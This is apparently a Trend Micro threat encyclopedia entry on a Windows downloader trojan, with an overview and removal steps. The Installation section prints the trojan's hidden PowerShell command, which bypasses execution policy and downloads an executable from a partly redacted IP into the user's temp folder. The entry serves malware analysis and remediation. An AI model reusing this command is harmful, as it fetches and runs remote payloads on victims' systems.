Trojan.Win32.DLOADR.AUSUSR
Windows
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Threat Type: Trojan
Destructiveness: No
Encrypted: Yes
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
As of this writing, the said sites are inaccessible.
TECHNICAL DETAILS
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan adds the following processes:
- powershell.exe -w hidden -noprofile -executionpolicy bypass $OE = New-Object System.Net.WebClient; $OE.Headers['User-Agent'] = 'Windows'; $OE.downloadfile('http://9{BLOCKED}.60/m/sexy.exe','%User Temp%TLM78.exe');
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- http://9{BLOCKED}.60/m/sexy.exe
It saves the files it downloads using the following names:
- User Temp%\TLM78.exe
As of this writing, the said sites are inaccessible.
Other Details
This Trojan does the following:
- It display windows form and pretend its a non malicious application.
SOLUTION
Step 1
Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:
- Troj.Win32.TRX.XXPE50FFF033
Step 2
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 3
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 4
Search and delete these files
- %User Temp%\TLM78.exe
Step 5
Scan your computer with your Trend Micro product to delete files detected as Trojan.Win32.DLOADR.AUSUSR. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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